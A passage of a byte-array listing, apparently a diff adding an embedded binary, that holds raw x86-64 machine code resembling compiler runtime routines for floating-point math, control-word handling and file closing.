0x00, 0x48, 0xc1, 0xe8, 0x34, 0x2a, 0xc8, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0x48, 0xd3, 0xe0, 0x48, 0xff, 0xc8, 0x48, 0xf7, 0xd0, 0x48, 0x23, 0xc2, + 0x48, 0x89, 0x44, 0x24, 0x08, 0xf2, 0x0f, 0x10, 0x44, 0x24, 0x08, 0x4d, + 0x85, 0xc0, 0x75, 0x0d, 0x48, 0x3b, 0xc2, 0x74, 0x08, 0xf2, 0x0f, 0x58, + 0x05, 0xff, 0x91, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x58, 0x66, 0x0f, 0x7f, 0x74, 0x24, 0x20, 0x83, 0x3d, + 0x0f, 0xf4, 0x00, 0x00, 0x00, 0x0f, 0x85, 0xe9, 0x02, 0x00, 0x00, 0x66, + 0x0f, 0x28, 0xd8, 0x66, 0x0f, 0x28, 0xe0, 0x66, 0x0f, 0x73, 0xd3, 0x34, + 0x66, 0x48, 0x0f, 0x7e, 0xc0, 0x66, 0x0f, 0xfb, 0x1d, 0x0f, 0x92, 0x00, + 0x00, 0x66, 0x0f, 0x28, 0xe8, 0x66, 0x0f, 0x54, 0x2d, 0xd3, 0x91, 0x00, + 0x00, 0x66, 0x0f, 0x2f, 0x2d, 0xcb, 0x91, 0x00, 0x00, 0x0f, 0x84, 0x85, + 0x02, 0x00, 0x00, 0x66, 0x0f, 0x28, 0xd0, 0xf3, 0x0f, 0xe6, 0xf3, 0x66, + 0x0f, 0x57, 0xed, 0x66, 0x0f, 0x2f, 0xc5, 0x0f, 0x86, 0x2f, 0x02, 0x00, + 0x00, 0x66, 0x0f, 0xdb, 0x15, 0xf7, 0x91, 0x00, 0x00, 0xf2, 0x0f, 0x5c, + 0x25, 0x7f, 0x92, 0x00, 0x00, 0x66, 0x0f, 0x2f, 0x35, 0x07, 0x93, 0x00, + 0x00, 0x0f, 0x84, 0xd8, 0x01, 0x00, 0x00, 0x66, 0x0f, 0x54, 0x25, 0x59, + 0x93, 0x00, 0x00, 0x4c, 0x8b, 0xc8, 0x48, 0x23, 0x05, 0xdf, 0x91, 0x00, + 0x00, 0x4c, 0x23, 0x0d, 0xe8, 0x91, 0x00, 0x00, 0x49, 0xd1, 0xe1, 0x49, + 0x03, 0xc1, 0x66, 0x48, 0x0f, 0x6e, 0xc8, 0x66, 0x0f, 0x2f, 0x25, 0xf5, + 0x92, 0x00, 0x00, 0x0f, 0x82, 0xdf, 0x00, 0x00, 0x00, 0x48, 0xc1, 0xe8, + 0x2c, 0x66, 0x0f, 0xeb, 0x15, 0x43, 0x92, 0x00, 0x00, 0x66, 0x0f, 0xeb, + 0x0d, 0x3b, 0x92, 0x00, 0x00, 0x4c, 0x8d, 0x0d, 0xa4, 0xa3, 0x00, 0x00, + 0xf2, 0x0f, 0x5c, 0xca, 0xf2, 0x41, 0x0f, 0x59, 0x0c, 0xc1, 0x66, 0x0f, + 0x28, 0xd1, 0x66, 0x0f, 0x28, 0xc1, 0x4c, 0x8d, 0x0d, 0x6b, 0x93, 0x00, + 0x00, 0xf2, 0x0f, 0x10, 0x1d, 0x83, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x10, + 0x0d, 0x4b, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x59, 0xda, 0xf2, 0x0f, 0x59, + 0xca, 0xf2, 0x0f, 0x59, 0xc2, 0x66, 0x0f, 0x28, 0xe0, 0xf2, 0x0f, 0x58, + 0x1d, 0x53, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x58, 0x0d, 0x1b, 0x92, 0x00, + 0x00, 0xf2, 0x0f, 0x59, 0xe0, 0xf2, 0x0f, 0x59, 0xda, 0xf2, 0x0f, 0x59, + 0xc8, 0xf2, 0x0f, 0x58, 0x1d, 0x27, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x58, + 0xca, 0xf2, 0x0f, 0x59, 0xdc, 0xf2, 0x0f, 0x58, 0xcb, 0xf2, 0x0f, 0x10, + 0x2d, 0x93, 0x91, 0x00, 0x00, 0xf2, 0x0f, 0x59, 0x0d, 0x4b, 0x91, 0x00, + 0x00, 0xf2, 0x0f, 0x59, 0xee, 0xf2, 0x0f, 0x5c, 0xe9, 0xf2, 0x41, 0x0f, + 0x10, 0x04, 0xc1, 0x48, 0x8d, 0x15, 0x06, 0x9b, 0x00, 0x00, 0xf2, 0x0f, + 0x10, 0x14, 0xc2, 0xf2, 0x0f, 0x10, 0x25, 0x59, 0x91, 0x00, 0x00, 0xf2, + 0x0f, 0x59, 0xe6, 0xf2, 0x0f, 0x58, 0xc4, 0xf2, 0x0f, 0x58, 0xd5, 0xf2, + 0x0f, 0x58, 0xc2, 0x66, 0x0f, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, + 0x58, 0xc3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0x15, 0x48, 0x91, 0x00, 0x00, + 0xf2, 0x0f, 0x5c, 0x05, 0x50, 0x91, 0x00, 0x00, 0xf2, 0x0f, 0x58, 0xd0, + 0x66, 0x0f, 0x28, 0xc8, 0xf2, 0x0f, 0x5e, 0xca, 0xf2, 0x0f, 0x10, 0x25, + 0x4c, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0x2d, 0x64, 0x92, 0x00, 0x00, + 0x66, 0x0f, 0x28, 0xf0, 0xf2, 0x0f, 0x59, 0xf1, 0xf2, 0x0f, 0x58, 0xc9, + 0x66, 0x0f, 0x28, 0xd1, 0xf2, 0x0f, 0x59, 0xd1, 0xf2, 0x0f, 0x59, 0xe2, + 0xf2, 0x0f, 0x59, 0xea, 0xf2, 0x0f, 0x58, 0x25, 0x10, 0x92, 0x00, 0x00, + 0xf2, 0x0f, 0x58, 0x2d, 0x28, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x59, 0xd1, + 0xf2, 0x0f, 0x59, 0xe2, 0xf2, 0x0f, 0x59, 0xd2, 0xf2, 0x0f, 0x59, 0xd1, + 0xf2, 0x0f, 0x59, 0xea, 0xf2, 0x0f, 0x10, 0x15, 0xac, 0x90, 0x00, 0x00, + 0xf2, 0x0f, 0x58, 0xe5, 0xf2, 0x0f, 0x5c, 0xe6, 0xf2, 0x0f, 0x10, 0x35, + 0x8c, 0x90, 0x00, 0x00, 0x66, 0x0f, 0x28, 0xd8, 0x66, 0x0f, 0xdb, 0x1d, + 0x10, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x5c, 0xc3, 0xf2, 0x0f, 0x58, 0xe0, + 0x66, 0x0f, 0x28, 0xc3, 0x66, 0x0f, 0x28, 0xcc, 0xf2, 0x0f, 0x59, 0xe2, + 0xf2, 0x0f, 0x59, 0xc2, 0xf2, 0x0f, 0x59, 0xce, 0xf2, 0x0f, 0x59, 0xde, + 0xf2, 0x0f, 0x58, 0xc4, 0xf2, 0x0f, 0x58, 0xc1, 0xf2, 0x0f, 0x58, 0xc3, + 0x66, 0x0f, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x66, + 0x0f, 0xeb, 0x15, 0x91, 0x90, 0x00, 0x00, 0xf2, 0x0f, 0x5c, 0x15, 0x89, + 0x90, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0xea, 0x66, 0x0f, 0xdb, 0x15, 0xed, + 0x8f, 0x00, 0x00, 0x66, 0x48, 0x0f, 0x7e, 0xd0, 0x66, 0x0f, 0x73, 0xd5, + 0x34, 0x66, 0x0f, 0xfa, 0x2d, 0x0b, 0x91, 0x00, 0x00, 0xf3, 0x0f, 0xe6, + 0xf5, 0xe9, 0xf1, 0xfd, 0xff, 0xff, 0x66, 0x90, 0x75, 0x1e, 0xf2, 0x0f, + 0x10, 0x0d, 0x66, 0x8f, 0x00, 0x00, 0x44, 0x8b, 0x05, 0x9f, 0x91, 0x00, + 0x00, 0xe8, 0x6a, 0x0e, 0x00, 0x00, 0xeb, 0x48, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0x0d, 0x68, 0x8f, 0x00, 0x00, + 0x44, 0x8b, 0x05, 0x85, 0x91, 0x00, 0x00, 0xe8, 0x4c, 0x0e, 0x00, 0x00, + 0xeb, 0x2a, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x3b, 0x05, 0x39, 0x8f, 0x00, 0x00, 0x74, 0x17, 0x48, 0x3b, 0x05, + 0x20, 0x8f, 0x00, 0x00, 0x74, 0xce, 0x48, 0x0b, 0x05, 0x47, 0x8f, 0x00, + 0x00, 0x66, 0x48, 0x0f, 0x6e, 0xc0, 0x66, 0x90, 0x66, 0x0f, 0x6f, 0x74, + 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x0f, 0x1f, 0x44, 0x00, 0x00, + 0x48, 0x33, 0xc0, 0xc5, 0xe1, 0x73, 0xd0, 0x34, 0xc4, 0xe1, 0xf9, 0x7e, + 0xc0, 0xc5, 0xe1, 0xfb, 0x1d, 0x2b, 0x8f, 0x00, 0x00, 0xc5, 0xfa, 0xe6, + 0xf3, 0xc5, 0xf9, 0xdb, 0x2d, 0xef, 0x8e, 0x00, 0x00, 0xc5, 0xf9, 0x2f, + 0x2d, 0xe7, 0x8e, 0x00, 0x00, 0x0f, 0x84, 0x41, 0x02, 0x00, 0x00, 0xc5, + 0xd1, 0xef, 0xed, 0xc5, 0xf9, 0x2f, 0xc5, 0x0f, 0x86, 0xe3, 0x01, 0x00, + 0x00, 0xc5, 0xf9, 0xdb, 0x15, 0x1b, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x5c, + 0x25, 0xa3, 0x8f, 0x00, 0x00, 0xc5, 0xf9, 0x2f, 0x35, 0x2b, 0x90, 0x00, + 0x00, 0x0f, 0x84, 0x8e, 0x01, 0x00, 0x00, 0xc5, 0xf9, 0xdb, 0x0d, 0x0d, + 0x8f, 0x00, 0x00, 0xc5, 0xf9, 0xdb, 0x1d, 0x15, 0x8f, 0x00, 0x00, 0xc5, + 0xe1, 0x73, 0xf3, 0x01, 0xc5, 0xe1, 0xd4, 0xc9, 0xc4, 0xe1, 0xf9, 0x7e, + 0xc8, 0xc5, 0xd9, 0xdb, 0x25, 0x5f, 0x90, 0x00, 0x00, 0xc5, 0xf9, 0x2f, + 0x25, 0x17, 0x90, 0x00, 0x00, 0x0f, 0x82, 0xb1, 0x00, 0x00, 0x00, 0x48, + 0xc1, 0xe8, 0x2c, 0xc5, 0xe9, 0xeb, 0x15, 0x65, 0x8f, 0x00, 0x00, 0xc5, + 0xf1, 0xeb, 0x0d, 0x5d, 0x8f, 0x00, 0x00, 0x4c, 0x8d, 0x0d, 0xc6, 0xa0, + 0x00, 0x00, 0xc5, 0xf3, 0x5c, 0xca, 0xc4, 0xc1, 0x73, 0x59, 0x0c, 0xc1, + 0x4c, 0x8d, 0x0d, 0x95, 0x90, 0x00, 0x00, 0xc5, 0xf3, 0x59, 0xc1, 0xc5, + 0xfb, 0x10, 0x1d, 0xa9, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x2d, 0x71, + 0x8f, 0x00, 0x00, 0xc4, 0xe2, 0xf1, 0xa9, 0x1d, 0x88, 0x8f, 0x00, 0x00, + 0xc4, 0xe2, 0xf1, 0xa9, 0x2d, 0x1f, 0x8f, 0x00, 0x00, 0xf2, 0x0f, 0x10, + 0xe0, 0xc4, 0xe2, 0xf1, 0xa9, 0x1d, 0x62, 0x8f, 0x00, 0x00, 0xc5, 0xfb, + 0x59, 0xe0, 0xc4, 0xe2, 0xd1, 0xb9, 0xc8, 0xc4, 0xe2, 0xe1, 0xb9, 0xcc, + 0xc5, 0xf3, 0x59, 0x0d, 0x8c, 0x8e, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x2d, + 0xc4, 0x8e, 0x00, 0x00, 0xc4, 0xe2, 0xc9, 0xab, 0xe9, 0xf2, 0x41, 0x0f, + 0x10, 0x04, 0xc1, 0x48, 0x8d, 0x15, 0x42, 0x98, 0x00, 0x00, 0xf2, 0x0f, + 0x10, 0x14, 0xc2, 0xc5, 0xeb, 0x58, 0xd5, 0xc4, 0xe2, 0xc9, 0xb9, 0x05, + 0x90, 0x8e, 0x00, 0x00, 0xc5, 0xfb, 0x58, 0xc2, 0xc5, 0xf9, 0x6f, 0x74, + 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x90, 0xc5, 0xfb, 0x10, 0x15, + 0x98, 0x8e, 0x00, 0x00, 0xc5, 0xfb, 0x5c, 0x05, 0xa0, 0x8e, 0x00, 0x00, + 0xc5, 0xeb, 0x58, 0xd0, 0xc5, 0xfb, 0x5e, 0xca, 0xc5, 0xfb, 0x10, 0x25, + 0xa0, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x2d, 0xb8, 0x8f, 0x00, 0x00, + 0xc5, 0xfb, 0x59, 0xf1, 0xc5, 0xf3, 0x58, 0xc9, 0xc5, 0xf3, 0x59, 0xd1, + 0xc4, 0xe2, 0xe9, 0xa9, 0x25, 0x73, 0x8f, 0x00, 0x00, 0xc4, 0xe2, 0xe9, + 0xa9, 0x2d, 0x8a, 0x8f, 0x00, 0x00, 0xc5, 0xeb, 0x59, 0xd1, 0xc5, 0xdb, + 0x59, 0xe2, 0xc5, 0xeb, 0x59, 0xd2, 0xc5, 0xeb, 0x59, 0xd1, 0xc5, 0xd3, + 0x59, 0xea, 0xc5, 0xdb, 0x58, 0xe5, 0xc5, 0xdb, 0x5c, 0xe6, 0xc5, 0xf9, + 0xdb, 0x1d, 0x86, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x5c, 0xc3, 0xc5, 0xdb, + 0x58, 0xe0, 0xc5, 0xdb, 0x59, 0x0d, 0xe6, 0x8d, 0x00, 0x00, 0xc5, 0xdb, + 0x59, 0x25, 0xee, 0x8d, 0x00, 0x00, 0xc5, 0xe3, 0x59, 0x05, 0xe6, 0x8d, + 0x00, 0x00, 0xc5, 0xe3, 0x59, 0x1d, 0xce, 0x8d, 0x00, 0x00, 0xc5, 0xfb, + 0x58, 0xc4, 0xc5, 0xfb, 0x58, 0xc1, 0xc5, 0xfb, 0x58, 0xc3, 0xc5, 0xf9, + 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0xc5, 0xe9, 0xeb, + 0x15, 0xff, 0x8d, 0x00, 0x00, 0xc5, 0xeb, 0x5c, 0x15, 0xf7, 0x8d, 0x00, + 0x00, 0xc5, 0xd1, 0x73, 0xd2, 0x34, 0xc5, 0xe9, 0xdb, 0x15, 0x5a, 0x8d, + 0x00, 0x00, 0xc5, 0xf9, 0x28, 0xc2, 0xc5, 0xd1, 0xfa, 0x2d, 0x7e, 0x8e, + 0x00, 0x00, 0xc5, 0xfa, 0xe6, 0xf5, 0xe9, 0x40, 0xfe, 0xff, 0xff, 0x0f, + 0x1f, 0x44, 0x00, 0x00, 0x75, 0x2e, 0xc5, 0xfb, 0x10, 0x0d, 0xd6, 0x8c, + 0x00, 0x00, 0x44, 0x8b, 0x05, 0x0f, 0x8f, 0x00, 0x00, 0xe8, 0xda, 0x0b, + 0x00, 0x00, 0xc5, 0xf9, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, + 0xc3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x0d, 0xc8, 0x8c, 0x00, 0x00, + 0x44, 0x8b, 0x05, 0xe5, 0x8e, 0x00, 0x00, 0xe8, 0xac, 0x0b, 0x00, 0x00, + 0xc5, 0xf9, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x90, + 0x48, 0x3b, 0x05, 0x99, 0x8c, 0x00, 0x00, 0x74, 0x27, 0x48, 0x3b, 0x05, + 0x80, 0x8c, 0x00, 0x00, 0x74, 0xce, 0x48, 0x0b, 0x05, 0xa7, 0x8c, 0x00, + 0x00, 0x66, 0x48, 0x0f, 0x6e, 0xc8, 0x44, 0x8b, 0x05, 0xb3, 0x8e, 0x00, + 0x00, 0xe8, 0x76, 0x0b, 0x00, 0x00, 0xeb, 0x04, 0x0f, 0x1f, 0x40, 0x00, + 0xc5, 0xf9, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0xcc, + 0x81, 0xe1, 0x00, 0x03, 0x00, 0x00, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc, + 0x41, 0xba, 0x40, 0x80, 0x00, 0x00, 0x33, 0xd2, 0x0f, 0xae, 0x5c, 0x24, + 0x08, 0x44, 0x8b, 0x4c, 0x24, 0x08, 0x41, 0x0f, 0xb7, 0xc1, 0x66, 0x41, + 0x23, 0xc2, 0x41, 0x8d, 0x4a, 0xc0, 0x66, 0x3b, 0xc1, 0x75, 0x08, 0x41, + 0xb8, 0x00, 0x0c, 0x00, 0x00, 0xeb, 0x1e, 0x66, 0x83, 0xf8, 0x40, 0x75, + 0x08, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0xeb, 0x10, 0x66, 0x41, 0x3b, + 0xc2, 0x44, 0x8b, 0xc2, 0xb9, 0x00, 0x04, 0x00, 0x00, 0x44, 0x0f, 0x44, + 0xc1, 0x41, 0x8b, 0xc1, 0x41, 0xba, 0x00, 0x60, 0x00, 0x00, 0x41, 0x23, + 0xc2, 0x74, 0x29, 0x3d, 0x00, 0x20, 0x00, 0x00, 0x74, 0x1b, 0x3d, 0x00, + 0x40, 0x00, 0x00, 0x74, 0x0d, 0x41, 0x3b, 0xc2, 0xb9, 0x00, 0x03, 0x00, + 0x00, 0x0f, 0x45, 0xca, 0xeb, 0x10, 0xb9, 0x00, 0x02, 0x00, 0x00, 0xeb, + 0x09, 0xb9, 0x00, 0x01, 0x00, 0x00, 0xeb, 0x02, 0x8b, 0xca, 0x41, 0xba, + 0x01, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xd1, 0xc1, 0xea, 0x08, 0x41, 0x8b, + 0xc1, 0xc1, 0xe8, 0x07, 0x41, 0x23, 0xd2, 0x41, 0x23, 0xc2, 0xc1, 0xe2, + 0x05, 0xc1, 0xe0, 0x04, 0x0b, 0xd0, 0x41, 0x8b, 0xc1, 0xc1, 0xe8, 0x09, + 0x41, 0x23, 0xc2, 0xc1, 0xe0, 0x03, 0x0b, 0xd0, 0x41, 0x8b, 0xc1, 0xc1, + 0xe8, 0x0a, 0x41, 0x23, 0xc2, 0xc1, 0xe0, 0x02, 0x0b, 0xd0, 0x41, 0x8b, + 0xc1, 0xc1, 0xe8, 0x0b, 0x41, 0x23, 0xc2, 0x41, 0xc1, 0xe9, 0x0c, 0x03, + 0xc0, 0x45, 0x23, 0xca, 0x0b, 0xd0, 0x41, 0x0b, 0xd1, 0x0b, 0xd1, 0x41, + 0x0b, 0xd0, 0x8b, 0xc2, 0x8b, 0xca, 0xc1, 0xe0, 0x16, 0x83, 0xe1, 0x3f, + 0x25, 0x00, 0x00, 0x00, 0xc0, 0xc1, 0xe1, 0x18, 0x0b, 0xc1, 0x0b, 0xc2, + 0xc3, 0xcc, 0xcc, 0xcc, 0x0f, 0xae, 0x5c, 0x24, 0x08, 0x8b, 0x4c, 0x24, + 0x08, 0x83, 0xe1, 0x3f, 0x8b, 0xd1, 0x8b, 0xc1, 0xc1, 0xe8, 0x02, 0x83, + 0xe0, 0x01, 0xd1, 0xea, 0xc1, 0xe0, 0x03, 0x83, 0xe2, 0x01, 0xc1, 0xe2, + 0x05, 0x0b, 0xd0, 0x8b, 0xc1, 0xc1, 0xe8, 0x03, 0x83, 0xe0, 0x01, 0xc1, + 0xe0, 0x02, 0x0b, 0xd0, 0x8b, 0xc1, 0xc1, 0xe8, 0x04, 0x83, 0xe0, 0x01, + 0x03, 0xc0, 0x0b, 0xd0, 0x8b, 0xc1, 0x83, 0xe0, 0x01, 0xc1, 0xe9, 0x05, + 0xc1, 0xe0, 0x04, 0x0b, 0xd0, 0x0b, 0xd1, 0x8b, 0xc2, 0xc1, 0xe0, 0x18, + 0x0b, 0xc2, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, + 0x24, 0x18, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x44, 0x8b, 0xc1, 0x8b, 0xc1, + 0x41, 0xc1, 0xe8, 0x02, 0x25, 0xff, 0xff, 0x3f, 0xc0, 0x41, 0x81, 0xe0, + 0x00, 0x00, 0xc0, 0x0f, 0x33, 0xf6, 0x44, 0x0b, 0xc0, 0xbf, 0x00, 0x04, + 0x00, 0x00, 0xb8, 0x00, 0x0c, 0x00, 0x00, 0x41, 0xc1, 0xe8, 0x16, 0x23, + 0xc8, 0x41, 0xbb, 0x00, 0x08, 0x00, 0x00, 0x3b, 0xcf, 0x74, 0x1f, 0x41, + 0x3b, 0xcb, 0x74, 0x12, 0x3b, 0xc8, 0x74, 0x06, 0x44, 0x0f, 0xb7, 0xce, + 0xeb, 0x16, 0x41, 0xb9, 0x00, 0x80, 0x00, 0x00, 0xeb, 0x0e, 0x41, 0xb9, + 0x40, 0x00, 0x00, 0x00, 0xeb, 0x06, 0x41, 0xb9, 0x40, 0x80, 0x00, 0x00, + 0x41, 0x8b, 0xc0, 0xb9, 0x00, 0x03, 0x00, 0x00, 0xbb, 0x00, 0x01, 0x00, + 0x00, 0x41, 0xba, 0x00, 0x02, 0x00, 0x00, 0x23, 0xc1, 0x74, 0x22, 0x3b, + 0xc3, 0x74, 0x17, 0x41, 0x3b, 0xc2, 0x74, 0x0b, 0x3b, 0xc1, 0x75, 0x15, + 0xb9, 0x00, 0x60, 0x00, 0x00, 0xeb, 0x11, 0xb9, 0x00, 0x40, 0x00, 0x00, + 0xeb, 0x0a, 0xb9, 0x00, 0x20, 0x00, 0x00, 0xeb, 0x03, 0x0f, 0xb7, 0xce, + 0x41, 0xf6, 0xc0, 0x01, 0x74, 0x07, 0xba, 0x00, 0x10, 0x00, 0x00, 0xeb, + 0x03, 0x0f, 0xb7, 0xd6, 0x41, 0x8b, 0xc0, 0xd1, 0xe8, 0xa8, 0x01, 0x75, + 0x04, 0x44, 0x0f, 0xb7, 0xde, 0x41, 0x8b, 0xc0, 0x66, 0x41, 0x0b, 0xd3, + 0xc1, 0xe8, 0x02, 0xa8, 0x01, 0x75, 0x03, 0x0f, 0xb7, 0xfe, 0x41, 0x8b, + 0xc0, 0x66, 0x0b, 0xd7, 0xc1, 0xe8, 0x03, 0xa8, 0x01, 0x75, 0x04, 0x44, + 0x0f, 0xb7, 0xd6, 0x41, 0x8b, 0xc0, 0x66, 0x41, 0x0b, 0xd2, 0xc1, 0xe8, + 0x04, 0xa8, 0x01, 0x74, 0x07, 0xb8, 0x80, 0x00, 0x00, 0x00, 0xeb, 0x03, + 0x0f, 0xb7, 0xc6, 0x66, 0x0b, 0xd0, 0x41, 0xc1, 0xe8, 0x05, 0x41, 0xf6, + 0xc0, 0x01, 0x75, 0x03, 0x0f, 0xb7, 0xde, 0x48, 0x8b, 0x74, 0x24, 0x18, + 0x66, 0x0b, 0xd3, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x66, 0x0b, 0xd1, 0x48, + 0x8b, 0x7c, 0x24, 0x20, 0x66, 0x41, 0x0b, 0xd1, 0x0f, 0xae, 0x5c, 0x24, + 0x08, 0x8b, 0x4c, 0x24, 0x08, 0x0f, 0xb7, 0xc2, 0x81, 0xe1, 0x3f, 0x00, + 0xff, 0xff, 0x25, 0xc0, 0xff, 0x00, 0x00, 0x0b, 0xc8, 0x89, 0x4c, 0x24, + 0x08, 0x0f, 0xae, 0x54, 0x24, 0x08, 0xc3, 0xcc, 0x8b, 0xd1, 0x41, 0xb9, + 0x01, 0x00, 0x00, 0x00, 0xc1, 0xea, 0x18, 0x83, 0xe2, 0x3f, 0x0f, 0xae, + 0x5c, 0x24, 0x08, 0x8b, 0xc2, 0x44, 0x8b, 0xc2, 0xd1, 0xe8, 0x45, 0x23, + 0xc1, 0x0f, 0xb6, 0xc8, 0x8b, 0xc2, 0xc1, 0xe8, 0x02, 0x41, 0x23, 0xc9, + 0xc1, 0xe1, 0x04, 0x41, 0xc1, 0xe0, 0x05, 0x44, 0x0b, 0xc1, 0x0f, 0xb6, + 0xc8, 0x41, 0x23, 0xc9, 0x8b, 0xc2, 0xc1, 0xe8, 0x03, 0xc1, 0xe1, 0x03, + 0x44, 0x0b, 0xc1, 0x0f, 0xb6, 0xc8, 0x41, 0x23, 0xc9, 0x8b, 0xc2, 0xc1, + 0xe8, 0x04, 0xc1, 0xe1, 0x02, 0x44, 0x0b, 0xc1, 0xc1, 0xea, 0x05, 0x0f, + 0xb6, 0xc8, 0x0f, 0xb6, 0xc2, 0x41, 0x23, 0xc9, 0x41, 0x23, 0xc1, 0x44, + 0x0b, 0xc1, 0x03, 0xc0, 0x44, 0x0b, 0xc0, 0x8b, 0x44, 0x24, 0x08, 0x83, + 0xe0, 0xc0, 0x41, 0x83, 0xe0, 0x3f, 0x41, 0x0b, 0xc0, 0x89, 0x44, 0x24, + 0x08, 0x0f, 0xae, 0x54, 0x24, 0x08, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, + 0x63, 0xd9, 0x41, 0x8b, 0xf8, 0x8b, 0xcb, 0x48, 0x8b, 0xf2, 0xe8, 0xb9, + 0xd6, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x75, 0x11, 0xe8, 0xe6, 0x6b, + 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc8, 0xff, + 0xeb, 0x53, 0x44, 0x8b, 0xcf, 0x4c, 0x8d, 0x44, 0x24, 0x48, 0x48, 0x8b, + 0xd6, 0x48, 0x8b, 0xc8, 0xff, 0x15, 0xd2, 0x1e, 0x00, 0x00, 0x85, 0xc0, + 0x75, 0x0f, 0xff, 0x15, 0x60, 0x1f, 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0x45, + 0x6b, 0xff, 0xff, 0xeb, 0xd3, 0x48, 0x8b, 0x44, 0x24, 0x48, 0x48, 0x83, + 0xf8, 0xff, 0x74, 0xc8, 0x48, 0x8b, 0xd3, 0x4c, 0x8d, 0x05, 0x42, 0xe2, + 0x00, 0x00, 0x83, 0xe2, 0x3f, 0x48, 0x8b, 0xcb, 0x48, 0xc1, 0xf9, 0x06, + 0x48, 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x0c, 0xc8, 0x80, 0x64, 0xd1, 0x38, + 0xfd, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xe9, 0x5f, 0xff, 0xff, + 0xff, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x75, 0x15, 0xe8, 0x55, + 0x6b, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x2a, 0x6a, + 0xff, 0xff, 0x83, 0xc8, 0xff, 0xeb, 0x51, 0x8b, 0x41, 0x14, 0x83, 0xcf, + 0xff, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x3a, 0xe8, 0x87, 0xad, 0xff, + 0xff, 0x48, 0x8b, 0xcb, 0x8b, 0xf8, 0xe8, 0x3d, 0xce, 0xff, 0xff, 0x48, + 0x8b, 0xcb, 0xe8, 0x05, 0x80, 0xff, 0xff, 0x8b, 0xc8, 0xe8, 0x7a, 0x08, + 0x00, 0x00, 0x85, 0xc0, 0x79, 0x05, 0x83, 0xcf, 0xff, 0xeb, 0x13, 0x48, + 0x8b, 0x4b, 0x28, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0x23, 0x6b, 0xff, + 0xff, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xba, 0x09, + 0x00, 0x00, 0x8b, 0xc7, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, + 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x4c, + 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, + 0xc9, 0x75, 0x1e, 0xe8, 0xcc, 0x6a, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, + 0x00, 0x00, 0xe8, 0xa1, 0x69, 0xff, 0xff, 0x83, 0xc8, 0xff, 0x48, 0x8b, + 0x5c, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x8b, 0x41, 0x14, + 0xc1, 0xe8, 0x0c, 0xa8, 0x01, 0x74, 0x07, 0xe8, 0x68, 0x09, 0x00, 0x00, + 0xeb, 0xe1, 0xe8, 0x25, 0x81, 0xff, 0xff, 0x90, 0x48, 0x8b, 0xcb, 0xe8, + 